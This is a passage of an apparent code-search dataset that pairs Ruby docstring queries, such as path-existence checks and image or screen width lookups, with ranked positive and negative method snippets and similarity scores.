"docid": "3d0d5f47e24e31509a8f2ef9bf8f0311",
"score": "0.54229826",
"text": "def create\n @event = Event.new(event_params)\n\n if @event.save\n render json: @event, status: :created, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "3d0d5f47e24e31509a8f2ef9bf8f0311",
"score": "0.54229826",
"text": "def create\n @event = Event.new(event_params)\n\n if @event.save\n render json: @event, status: :created, location: @event\n else\n render json: @event.errors, status: :unprocessable_entity\n end\n end",
"title": ""
}
] |
9261f53d8f3fb2d2e6172113da5c50d8
|
=begin rdoc Return true if path exists in content tree. Note: a value of 'true' does not indicate that a valid document item exists. This is a lowlevel call for repo management. =end
|
[
{
"docid": "5ffe9df2a804ee78fe3b15d096035ec4",
"score": "0.8166476",
"text": "def path_exist?(path)\n @content_tree.path_exist? path\n end",
"title": ""
}
] |
[
{
"docid": "93fd63b0355b223210096b693e304f8e",
"score": "0.7661448",
"text": "def exist?(path, ctype=nil)\n @content_tree.exist? path, ctype\n end",
"title": ""
},
{
"docid": "e6711fa20090d174a4ab15f8f0a0ccd9",
"score": "0.7409562",
"text": "def exist?\n # shouldn't force network connections just to check if content exists\n # only check that the path is not empty\n !path.to_s.empty?\n end",
"title": ""
},
{
"docid": "e6711fa20090d174a4ab15f8f0a0ccd9",
"score": "0.7409562",
"text": "def exist?\n # shouldn't force network connections just to check if content exists\n # only check that the path is not empty\n !path.to_s.empty?\n end",
"title": ""
},
{
"docid": "4a19220f2cf0f572c1b2dbee991256d8",
"score": "0.7267499",
"text": "def exists? path\n end",
"title": ""
},
{
"docid": "8ca52636cb61ba078ad2e2c9265504fc",
"score": "0.6977498",
"text": "def has_path?(path)\n !node_for(path).nil?\n end",
"title": ""
},
{
"docid": "a021a22c9eda4f001a910c1222ff473e",
"score": "0.6859751",
"text": "def exists?(path)\n head(path).empty? ? false : true\n end",
"title": ""
},
{
"docid": "652c86477ac8285a552ea66429dded1d",
"score": "0.67830944",
"text": "def document_exists? path_to_document\n File.exists? path_to_document\n end",
"title": ""
},
{
"docid": "6a0c9a9edaa9cdcb0534ecf70a570522",
"score": "0.675897",
"text": "def exists?\n zk.exists?(path)\n end",
"title": ""
},
{
"docid": "d59a9e2496d54a9c6b31eca460c639c1",
"score": "0.6733797",
"text": "def include?(path)\n path_to_object(path) ? true : false\n end",
"title": ""
},
{
"docid": "1cecfa9eda25cf89f25d790f36549c8e",
"score": "0.67308354",
"text": "def in_path?(path); end",
"title": ""
},
{
"docid": "014a18064cee4a05df13aae8ac573424",
"score": "0.67065126",
"text": "def path?\n !path.empty?\n end",
"title": ""
},
{
"docid": "2b7c24ec16a3abbfe9e3a0fe67dc8b9b",
"score": "0.6674712",
"text": "def has_doc?\n File.exist?(doc_path)\n end",
"title": ""
},
{
"docid": "29c2c4923ba644bdec61d9134fed7461",
"score": "0.6663952",
"text": "def exists?(path)\n !!scope.get(path)\n end",
"title": ""
},
{
"docid": "a679eb2dbab6ba4ab6c1e604b6de95ba",
"score": "0.6658639",
"text": "def exists?\n self.path.present? && File.exist?(self.path)\n end",
"title": ""
},
{
"docid": "cdce1cbb6e50a5bfedc1e10de80eb671",
"score": "0.66574776",
"text": "def hasChild?\n @path.size > 1\n end",
"title": ""
},
{
"docid": "3877901dc6fc1c2c336842353261ccd0",
"score": "0.6644161",
"text": "def has_children?(path)\n return false if (! path_exist? path)\n # prune at level 2 (direct children) and ignore the hit for self\n @content_tree.subtree(path, nil, 2, true).count > 1\n end",
"title": ""
},
{
"docid": "6767199d55aed70f03307e49e75b23f9",
"score": "0.66281223",
"text": "def path?\n !!@path\n end",
"title": ""
},
{
"docid": "6767199d55aed70f03307e49e75b23f9",
"score": "0.66281223",
"text": "def path?\n !!@path\n end",
"title": ""
},
{
"docid": "53725681ba50e948dc88c8683b57e1e7",
"score": "0.6624453",
"text": "def exist?\n File.exist? File.join(path, '.git/HEAD')\n end",
"title": ""
},
{
"docid": "4dd1a081c865325525d4e7a333635b0a",
"score": "0.6616855",
"text": "def exist?\n File.exist?(@path)\n end",
"title": ""
},
{
"docid": "9e1a5855da12f7403ffe9273ea4bdb1a",
"score": "0.660754",
"text": "def path_exists?(path, create_if_not_exist = false)\n return true if path.empty?\n end",
"title": ""
},
{
"docid": "10c675fce715cf8199c76c10c3256a45",
"score": "0.6571908",
"text": "def exist?\n\t\t\tClient.head @root\n\t\tend",
"title": ""
},
{
"docid": "cbb66713baed17bdbc5e5062375bd421",
"score": "0.6557274",
"text": "def exists?\n File.exist?(@path)\n end",
"title": ""
},
{
"docid": "762e8fd0a8c144349fa344bf8f36a759",
"score": "0.65471053",
"text": "def path_exists?(path)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "8f0d88e63e251d8b9ee519533d81a7be",
"score": "0.65188867",
"text": "def exists? path\n find_blob(full_path(path))\n end",
"title": ""
},
{
"docid": "e6810c69b903c6ab3b4d8a05744d4727",
"score": "0.65183586",
"text": "def path_exists(path)\n return @mappings.path_exists(path)\n end",
"title": ""
},
{
"docid": "8f358d51176a6cf929ce0648e39ca2d4",
"score": "0.6508354",
"text": "def exists?\n File.exists? path\n end",
"title": ""
},
{
"docid": "f0a06000df65059fd6a4a86ea170cc3d",
"score": "0.65070385",
"text": "def path_defined?(path)\n return (not root_defined_path_part[path].nil?)\n end",
"title": ""
},
{
"docid": "4b1403afd08647fe226877b4baa247db",
"score": "0.65061957",
"text": "def exist?\n self.class.exist?(@path)\n end",
"title": ""
},
{
"docid": "50d8bf11ae35b0820d16da5ba8412ffc",
"score": "0.64982533",
"text": "def exist?( path )\r\n File.exist?(path)\r\n end",
"title": ""
},
{
"docid": "432b03f3d24dad9c556dd8d916e62b02",
"score": "0.649152",
"text": "def file_exists?(path)\n end",
"title": ""
},
{
"docid": "b989455763d176e00535d40cc9468ef4",
"score": "0.64814967",
"text": "def exist?()\n return File.exist?(@r_note_filepath)\n end",
"title": ""
},
{
"docid": "a0c66f0d928e362c74c10e126bf1e3d9",
"score": "0.64719194",
"text": "def file_exists?(path)\n parse_boolean(transport.execute(\"Test-Path #{escape(path)}\", :read_only => true).stdout)\n end",
"title": ""
},
{
"docid": "ba9420a1e87d1bf1a4502b16f633acfb",
"score": "0.6470413",
"text": "def contains? path\n @contents.any? do |line|\n File.fnmatch? line, path\n end\n end",
"title": ""
},
{
"docid": "e3acf92a53d1b38dcc309d3cd2a4b761",
"score": "0.6442316",
"text": "def path_exists?(path)\n File.exists?(path)\n end",
"title": ""
},
{
"docid": "aa0e601fe7fb4530a07d0b3bfd7e6b0c",
"score": "0.64422375",
"text": "def exist?\n File.directory? @full_path\n end",
"title": ""
},
{
"docid": "b3e33ce2ba02704cb5503fdcb5696f80",
"score": "0.64386344",
"text": "def exists?\n File.exists?(path)\n end",
"title": ""
},
{
"docid": "0a935a7ddcbe18e31ad04b4fe7dfb2fe",
"score": "0.643722",
"text": "def exists?(path)\n @exists[path]\n end",
"title": ""
},
{
"docid": "1482455f86e5b6d2f48eab85a222452f",
"score": "0.6434932",
"text": "def exists?\n File.exists?(File.join(@root))\n end",
"title": ""
},
{
"docid": "05340ac88dc6eed25ce915ecb38339d5",
"score": "0.64342517",
"text": "def hierarchical?\n if @path\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "2124137a62b0996b0857d187d4013f90",
"score": "0.6433121",
"text": "def folder_exists?(path, site_path=nil)\n url = computed_web_api_url(site_path)\n path = [site_path, path].compact.join('/')\n url = uri_escape \"#{url}GetFolderByServerRelativeUrl('#{path}')\"\n easy = ethon_easy_json_requester\n easy.http_request(url, :get)\n easy.perform\n easy.response_code == 200\n end",
"title": ""
},
{
"docid": "96ddf9817bec16a10085c7a8b697a4a1",
"score": "0.64294887",
"text": "def exists?\n File.exist?(path)\n end",
"title": ""
},
{
"docid": "68d8e9b1512db269e188ab36e81ede30",
"score": "0.6425056",
"text": "def exist?\n File.exist? fullpath\n end",
"title": ""
},
{
"docid": "dff2facaca89bcaf9a2959a7e17d904a",
"score": "0.6423175",
"text": "def file_exists?(filename, ref)\n return (not `cd #{@path}; git ls-tree #{ref} -- #{filename}`.chomp.strip.empty?)\n end",
"title": ""
},
{
"docid": "795b875aac571614f432f7f0fb19ecbc",
"score": "0.6419634",
"text": "def object_has_hierarchy?\n filepaths.any?(/\\/+/)\n end",
"title": ""
},
{
"docid": "029f90b2027866b1a064ceae6c32e1f4",
"score": "0.64029366",
"text": "def document_exists?(file_path, site_path=nil)\n file = split_path(file_path)\n sanitized_filename = sanitize_filename(file[:name])\n server_relative_url = \"#{site_path}#{file[:path]}/#{sanitized_filename}\"\n url = computed_web_api_url(site_path)\n ethon = ethon_easy_json_requester\n ethon.url = uri_escape \"#{url}GetFileByServerRelativeUrl('#{odata_escape_single_quote server_relative_url}')\"\n ethon.perform\n exists = false\n if ethon.response_code.eql? 200\n json_response = JSON.parse(ethon.response_body)\n if json_response['d'] &&\n json_response['d']['ServerRelativeUrl'].eql?(server_relative_url)\n exists = true\n end\n end\n return exists\n end",
"title": ""
},
{
"docid": "87c7c8d8d41fff489816859610d2a612",
"score": "0.6394862",
"text": "def exist?\n @local_path and @local_path.exist?\n end",
"title": ""
},
{
"docid": "4e97223b377bda18b67dc0f9c116bcf4",
"score": "0.6389832",
"text": "def ancestor_exist?\n File.exist? @ancestor_path\n end",
"title": ""
},
{
"docid": "2042d0e7c45a732e7f0b1b4ea18ae949",
"score": "0.6385534",
"text": "def exist?\n true\n end",
"title": ""
},
{
"docid": "b4a0a18bce41bf0a19358b2c1361cd1b",
"score": "0.63836664",
"text": "def exists?\n folder_location.present?\n end",
"title": ""
},
{
"docid": "05c9e1395ab186ff1bf69a634bbcd3fa",
"score": "0.6373243",
"text": "def exists?\n File.exists?(path)\n end",
"title": ""
},
{
"docid": "c62a4b099f6059b314c90d51a722c082",
"score": "0.635507",
"text": "def contains_node?(path)\n begin\n node(path)\n return true\n rescue ElementDoesntExist => e\n return false\n end\n end",
"title": ""
},
{
"docid": "4ab06924f8e83b810b0157904d19b8f3",
"score": "0.6348498",
"text": "def exist?\n @grit && @grit.git.exists?\n end",
"title": ""
},
{
"docid": "9dae6604a7c377866ec0ba7c422159d9",
"score": "0.6346679",
"text": "def exists?(path)\n @pages.has_key?(normalize_path(path))\n end",
"title": ""
},
{
"docid": "c082d891511dc39413f5065e0f13c3c1",
"score": "0.632657",
"text": "def exists?\n File.exists?(path)\n end",
"title": ""
},
{
"docid": "d8f555104ddbcba46b7382d084a8ddf7",
"score": "0.6326185",
"text": "def directory_exists?(path)\n end",
"title": ""
},
{
"docid": "7fd2b31e4dec21a7679f5d36bbe7fa4a",
"score": "0.63259524",
"text": "def contains_menu_item?(path)\r\n begin\r\n menu_item(path)\r\n return true\r\n rescue ElementDoesntExist => e\r\n return false\r\n end\r\n end",
"title": ""
},
{
"docid": "6a07d6ceb3aa577c5de63a3976506caf",
"score": "0.63220304",
"text": "def repo_object_exists?\n @repo_object_exists ||= batch_item.repo_object_exists?\n end",
"title": ""
},
{
"docid": "83771680cff92fb3e86ff2049e282aba",
"score": "0.63042444",
"text": "def paths?\n !paths.empty?\n end",
"title": ""
},
{
"docid": "1fd4b121fcec023a0b7464037f5acfa1",
"score": "0.629859",
"text": "def defined?( path, limit_scope = false )\n value = resolve( path, limit_scope )\n return value.exists?\n end",
"title": ""
},
{
"docid": "6fa874df46ef8c0105833e7b84be377c",
"score": "0.6290558",
"text": "def exists?\n return true if File.directory?(@path)\n false\n end",
"title": ""
},
{
"docid": "0fd407dc54cedfc4e5c5f91b8309ff5b",
"score": "0.62701696",
"text": "def exist?(path)\n ::File.exist?(abspath(path))\n end",
"title": ""
},
{
"docid": "e2ffb4ca177ef110e3d4aca73e0394a5",
"score": "0.6221088",
"text": "def exists?\n ::File.directory? self.path\n end",
"title": ""
},
{
"docid": "f3849ec6ce33a386c4edbf6927ac2b4f",
"score": "0.62041676",
"text": "def parent_exists?\n parent.exist?\n end",
"title": ""
},
{
"docid": "f3849ec6ce33a386c4edbf6927ac2b4f",
"score": "0.62041676",
"text": "def parent_exists?\n parent.exist?\n end",
"title": ""
},
{
"docid": "2d299171ab93cd7d89edde7935e13a8f",
"score": "0.6194889",
"text": "def path?\n !path.nil? && File.directory?(path)\n end",
"title": ""
},
{
"docid": "325644198454429e0daf30133688a203",
"score": "0.6192393",
"text": "def exists?\n factory.system.dir_exists?(@path)\n end",
"title": ""
},
{
"docid": "9491cf81d472ca5b177fd3749ab05492",
"score": "0.6184954",
"text": "def has?(path)\n begin\n get(path, error: true)\n return true\n rescue ArgumentError => e\n return false\n end\n end",
"title": ""
},
{
"docid": "cbd7589b34c7e4e5b8a66755b3d40baa",
"score": "0.61848325",
"text": "def exists?(name)\r\n \t!template_paths(name).empty?\r\n end",
"title": ""
},
{
"docid": "0d5ebcfa5c63dc200e8feff616c5b7a4",
"score": "0.6177444",
"text": "def exists?\n true\n end",
"title": ""
},
{
"docid": "851f5f97570eee27de5f01107a09b9b5",
"score": "0.61678183",
"text": "def exist\n\treturn true\n end",
"title": ""
},
{
"docid": "343fb527c5e289d1b1d150eb35c55fc6",
"score": "0.61588895",
"text": "def folder?\n children.any?\n end",
"title": ""
},
{
"docid": "7e03ca8e712b739db2c4d0cf0b556e14",
"score": "0.61587214",
"text": "def dir_exists?(path)\n begin\n @meta_data = @client.stat(path)\n if (@meta_data[\"type\"] == \"DIRECTORY\")\n return true\n else\n return false\n end\n rescue\n return false\n end \n end",
"title": ""
},
{
"docid": "b234b095206a27c603fe2ab1d42adf23",
"score": "0.6156026",
"text": "def exists?(path)\n eval(EXISTS_CHECK, binding, __FILE__, EXISTS_CHECK_LINE)\n nil\nend",
"title": ""
},
{
"docid": "25f29becf8e5613c17b6572fa36af703",
"score": "0.61535865",
"text": "def check_path(p_path)\n\t\t\n\t\t\t# Try to create a path out of the given text, store result\n\t\t\tdir = Qt::Dir.new(p_path)\n\t\t\tresult = dir.exists\n\t\t\t\n\t\t\t# Check if it's an existing path\n\t\t\tif result\n\t\t\t\t\n\t\t\t\t# Get canonical path, index of path within the FileSystem TreeView\n\t\t\t\t@path = dir.canonicalPath\n\t\t\t\tidx = @shell_tree_view.model.index(@path)\n\t\t\t\t\n\t\t\t\t# Select the parsed path, scroll to it\n\t\t\t\tscroll_to_index(idx)\n\t\t\t\t\n\t\t\t\t# Update combo box\n\t\t\t\tpath_changed(idx)\n\t\t\telse\n\t\t\t\tset_folder_icon(true)\n\t\t\tend\n\t\t\t\n\t\t\t# Return result\n\t\t\tresult\n\t\tend",
"title": ""
},
{
"docid": "c0bbd571e75926555f8e93e6f462af14",
"score": "0.6147223",
"text": "def exists?(path)\n\t\t@connection.exists?(path)\n\tend",
"title": ""
},
{
"docid": "eccb80c879fed99468d27b1afe0b025f",
"score": "0.6142364",
"text": "def exists?(path)\n files.include?(path)\n end",
"title": ""
},
{
"docid": "4bfaf455c43ca73ed09d4bd1016f5eae",
"score": "0.6134138",
"text": "def has_children?\n bag.has_children?(path)\n end",
"title": ""
},
{
"docid": "0ce53512d0957929a5357e719b6f4919",
"score": "0.612917",
"text": "def has?(path)\n return (@root.is_a?(Hash) && @root.has_key?(path)) if path.is_a?(Symbol)\n\n path = path.to_s.split('.') unless path.is_a?(Array)\n node = @root\n path.each { |key|\n if node.is_a?(Hash)\n key = key.to_sym\n return false unless node.has_key?(key)\n node = node[key]\n elsif node.is_a?(Array)\n i = key.to_i\n return false if 0 == i && '0' != key && 0 != key\n len = node.length\n return false unless -len <= i && i < len\n node = node[i]\n else\n return false\n end\n }\n true\n end",
"title": ""
},
{
"docid": "adda45d65a76eb4fdcb6fa3990bcfa2b",
"score": "0.61272836",
"text": "def file?\n repos.stat(fs_path, revision).file?\n end",
"title": ""
},
{
"docid": "24aa00c5b2af7b1eb37c8402f39a965a",
"score": "0.6123354",
"text": "def exists?(path)\n GLib.g_file_test(path, GLib::GFileTest::G_FILE_TEST_EXISTS)\n end",
"title": ""
},
{
"docid": "2cdaeacaa805d6046c9c665db12aff2c",
"score": "0.61149514",
"text": "def exist?(path)\n found = true\n run_via \"head -1 #{path} >/dev/null 2>&1 || echo $?\" do |channel, stream, data|\n if data =~ /^(\\d+)/\n if $1.to_i > 0\n logger.trace \"Not found\"\n found = false \n end\n end\n end\n found\n end",
"title": ""
},
{
"docid": "1b9a692da90dfa49e80f2fbae64f45f9",
"score": "0.61149293",
"text": "def exists?()\n end",
"title": ""
},
{
"docid": "77accb81b966f836f9c0e75f89b20c0c",
"score": "0.611487",
"text": "def has?(item)\r\n ! @contents[item].nil?\r\n end",
"title": ""
},
{
"docid": "ad1992060ea28a41f1b71b01b2891405",
"score": "0.61049783",
"text": "def exists?(id)\n path(id).exist?\n end",
"title": ""
},
{
"docid": "ad1992060ea28a41f1b71b01b2891405",
"score": "0.61049783",
"text": "def exists?(id)\n path(id).exist?\n end",
"title": ""
},
{
"docid": "b9a9e0e860743433bb6f1c1aed819795",
"score": "0.60931814",
"text": "def exists?\n File.exists?(\"#{rdoc_dir('default')}/index.html\") && File.exists?(\"#{rdoc_dir(RdocInfo.config[:template])}/index.html\")\n end",
"title": ""
},
{
"docid": "77eff977f59ddb3665fdc3a0074593ad",
"score": "0.6092414",
"text": "def exist?(path)\n ::File.exist?(prefixed(path))\n end",
"title": ""
},
{
"docid": "ea5082dda9969d84055d2b8ec458895f",
"score": "0.60880876",
"text": "def valid_path?(content)\n content.visibility_ancestor_ids.all? { |id| existing_ids.include?(id) }\n end",
"title": ""
},
{
"docid": "2653565ac41f12fdc888a7e509ef9b58",
"score": "0.6087667",
"text": "def feed_exists?(path)\n File.exist?(path)\n end",
"title": ""
},
{
"docid": "2b135f61f3a9d2948c5b4cca3382c156",
"score": "0.60858047",
"text": "def has_child?(childPath)\n `#@native.hasChild(childPath)`\n end",
"title": ""
},
{
"docid": "cc4c879421404129961231937b1d7cac",
"score": "0.60836977",
"text": "def exist?\n# File.exist?(file_path)\n @bson\n end",
"title": ""
},
{
"docid": "1ea712152492ce24e0a64294f2fe44b9",
"score": "0.6083377",
"text": "def resource_exists?\n path_exists? install_dir\nend",
"title": ""
},
{
"docid": "636fe8c74f3e3cbfbbba9fb2c319199a",
"score": "0.60829973",
"text": "def dir_entry_exists(path)\n files = session.fs.dir.entries(path)\n rescue\n return nil\n else\n return path\n end",
"title": ""
},
{
"docid": "a71e32c47819f646b85645b25e951d31",
"score": "0.60780495",
"text": "def exist?\n @metadata_file_path.file? and @metadata_file_path.readable?\n end",
"title": ""
},
{
"docid": "c556bac0f7d8c18fc9f275aff92b8c52",
"score": "0.60755414",
"text": "def file_exist?(path)\n exist?(path) && is_file?(path)\n end",
"title": ""
},
{
"docid": "4377c2f2521d39cee3ec45836d81937e",
"score": "0.6075451",
"text": "def exist?(str)\n return end_of_word? if str.empty? # terminal condition\n child_node = @children[str[0]]\n return false unless child_node # there is no path with the given string\n child_node.exist? str[1..-1] # recursively call itself on the child node\n end",
"title": ""
},
{
"docid": "c90c43e2931e48354b48d9598dbdbe2d",
"score": "0.6071219",
"text": "def exists?()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "9c8958d8b54f8041c3866544cc50e8a5",
"score": "0.6069195",
"text": "def exists?\n\t\treturn self.entry ? true : false\n\tend",
"title": ""
},
{
"docid": "93e0537c9d4c36cf33de75a873b7488f",
"score": "0.6066588",
"text": "def exist?\n @exists\n end",
"title": ""
}
] |
7d23ed67577f579ba312d187ab4a2fda
|
We need to be able to access the version's width so that we can provide that info to browsers to let them select the best version for the screen size.
|
[
{
"docid": "d3b66989548cd6ca811ebd79a1d121f1",
"score": "0.79549223",
"text": "def width\n self.class::VERSIONS[version_name]\n end",
"title": ""
}
] |
[
{
"docid": "d41a3ca327020209356fdc834bf9c02c",
"score": "0.71022135",
"text": "def screen_width(); end",
"title": ""
},
{
"docid": "1cc3e9f006ad82c49dfaff6bc398d885",
"score": "0.7034178",
"text": "def browser_width\n @width + 8\n end",
"title": ""
},
{
"docid": "b4ae1985bb9a99be7d96af072260554d",
"score": "0.6631514",
"text": "def width\n opts[:width] || @_screen_width || 0\n end",
"title": ""
},
{
"docid": "7b5f4bf75f1009509c18b1c45fbd9507",
"score": "0.6599762",
"text": "def size(version)\n data = @data.fetch(version.to_s)\n {width: data[\"width\"], height: data[\"height\"]}\n end",
"title": ""
},
{
"docid": "21a2ad12aa5b04de1a7e12207cd7c4bc",
"score": "0.6579588",
"text": "def available_width\n @width\n end",
"title": ""
},
{
"docid": "8f068bd2f1608e096f77820886607d73",
"score": "0.6521846",
"text": "def width\n screen_width - 20\n end",
"title": ""
},
{
"docid": "5c8b6ca7f260860e07d346abfe9af14d",
"score": "0.6511417",
"text": "def width\n actual_width / 12\n end",
"title": ""
},
{
"docid": "bdd0f978def08e23ed0a85c17ae9b1e0",
"score": "0.64723307",
"text": "def min_width\n end",
"title": ""
},
{
"docid": "38dbc8ec8923e95d62cc43ef22c013db",
"score": "0.64538854",
"text": "def min_width\n\n end",
"title": ""
},
{
"docid": "0e84ac3b327bd890e3bb672639030dca",
"score": "0.64462936",
"text": "def screen_width\n run_script(\"return screen.width;\")\n end",
"title": ""
},
{
"docid": "d9033cfeb0e57851ffcf73fab198a24b",
"score": "0.6436731",
"text": "def screen_width\n (self.zoom_x * self.width).to_i\n end",
"title": ""
},
{
"docid": "dff17845cf611498da500b495118798f",
"score": "0.6418746",
"text": "def get_width(width)\n size = \"default\"\n unless width.nil?\n if width == \"small\" || width.to_i <= 200\n size = \"small\"\n end\n end\n size\n end",
"title": ""
},
{
"docid": "fdd73ed93f52919f4bef61d0684241eb",
"score": "0.6414046",
"text": "def browser_width\n\t@browser.execute_script(\"return window.innerWidth\").to_i\nend",
"title": ""
},
{
"docid": "9fc3f6c82009d2ddccdffa572d40cf6d",
"score": "0.6374077",
"text": "def width\n if self.box_type == Box::VC_BOX_TYPE\n return Rails.application.config.vc_box_width\n end\n \n return read_attribute(:width)\n end",
"title": ""
},
{
"docid": "aa5cb59ef8409690cca5ce1322a89359",
"score": "0.6338517",
"text": "def width\n assert_exists\n return @o.invoke(\"width\").to_s\n end",
"title": ""
},
{
"docid": "aa5cb59ef8409690cca5ce1322a89359",
"score": "0.6338517",
"text": "def width\n assert_exists\n return @o.invoke(\"width\").to_s\n end",
"title": ""
},
{
"docid": "992850277f480adc11a102d2a24180ce",
"score": "0.6337583",
"text": "def screen_width\n # If the screen is larger than 2560 in width, it's a dual head.\n # Then, just assume 2560.\n #\n # \"0 * DG: 17920x1440 VP: 0,0 WA: 0,24 4480x1416 Workspace 1\"\n [`wmctrl -d`.match(/(\\d{4})x(\\d{4}) (Workspace|N\\/A)/)[1].to_i, 2560].min\nend",
"title": ""
},
{
"docid": "123433fbbbe69efd5c5f76cae296235b",
"score": "0.63300514",
"text": "def width\r\n assert_exists\r\n raise NotImplementedError, \"not currently supported by WatirNokogiri\"\r\n end",
"title": ""
},
{
"docid": "5240d9990b834acf0f55687be0ea36b2",
"score": "0.6311057",
"text": "def width\n sz = _window_size\n sz && sz.first\n end",
"title": ""
},
{
"docid": "bcca5d53134a0ea5e1e13d1d8bd46a34",
"score": "0.62977356",
"text": "def width\n size['width']\n end",
"title": ""
},
{
"docid": "b529ea8229db964427b752f1dac36fb7",
"score": "0.62758726",
"text": "def screen_width\n return execute_script('return screen.width;')\n end",
"title": ""
},
{
"docid": "b529ea8229db964427b752f1dac36fb7",
"score": "0.62758726",
"text": "def screen_width\n return execute_script('return screen.width;')\n end",
"title": ""
},
{
"docid": "5422368d5244e3d775e429ce33e7ede9",
"score": "0.62554115",
"text": "def preferred_width; nil; end",
"title": ""
},
{
"docid": "b56e98ca0f9ff7637cddb7c4fb1aed0e",
"score": "0.6253311",
"text": "def width\n return nil unless video?\n \n video_match[4].to_i\n end",
"title": ""
},
{
"docid": "5df2894761b38e5e0fd03bf6b992790c",
"score": "0.6251313",
"text": "def video_width\n ng_xml.css(\"fits > metadata > video > imageWidth\").map(&:text)\n end",
"title": ""
},
{
"docid": "ebc926e37af1093c0c5c31ae5e6bdfa2",
"score": "0.6231611",
"text": "def width\n@width ||= [natural_width, @pdf.bounds.width].min\nend",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "eb4dc9e57cd171f3947ee932bea0fc72",
"score": "0.6228828",
"text": "def window_width\n return WINDOW_WIDTH\n end",
"title": ""
},
{
"docid": "2ed657f18d5c3addbda7dc1761328563",
"score": "0.621061",
"text": "def width\n @width ||= size.last.split('x').first.strip!.to_i\n end",
"title": ""
},
{
"docid": "1870f99bf43e563e81fe973e9d5aa742",
"score": "0.6205558",
"text": "def width\n get_width\n end",
"title": ""
},
{
"docid": "b49ef5e3f1c2bd573f73b88a9833d910",
"score": "0.62053734",
"text": "def page_width\n page.dimensions[2]\n end",
"title": ""
},
{
"docid": "47b467c4ac0011014f3fd0f64883a3be",
"score": "0.61957395",
"text": "def get_width\n \t@width\n end",
"title": ""
},
{
"docid": "a6a9908c7b25954c811c599519f0f7b0",
"score": "0.61887705",
"text": "def port_width\n case version\n when 0x700, 0x900 then 16\n when 0x500 then 12\n else\n 8\n end\n end",
"title": ""
},
{
"docid": "a9f4f0eaa1bdcb58de302265066fb857",
"score": "0.6188212",
"text": "def version_weight\n # parse the version numbers from the @os_version value\n version_str, commit_no = /^v?(.*)$/.match(@os_version)[1].split(\"-\")[0].split(\"_\")\n # Limit any part of the version number to a number that is 999 or less\n version_str.split(\".\").map! {|v| v.to_i > 999 ? 999 : v}.join(\".\")\n # separate out the semantic version part (which looks like 0.10.0) from the\n # \"sub_patch number\" (to handle formats like v0.9.3.0, which were used in\n # older versions of the Hanlon-Microkernel project)\n version_parts = version_str.split(\".\").map {|x| \"%03d\" % x}\n sub_patch = (version_parts.length == 4 ? version_parts[3] : \"000\")\n # and join the parts as a single floating point number for comparison\n (version_parts[0,3].join + \".#{sub_patch}\").to_f + \"0.000#{commit_no}\".to_f\n end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
"docid": "0addb39f1ff6f152e9a753d6c2dbc9e7",
"score": "0.6186674",
"text": "def width; end",
"title": ""
},
{
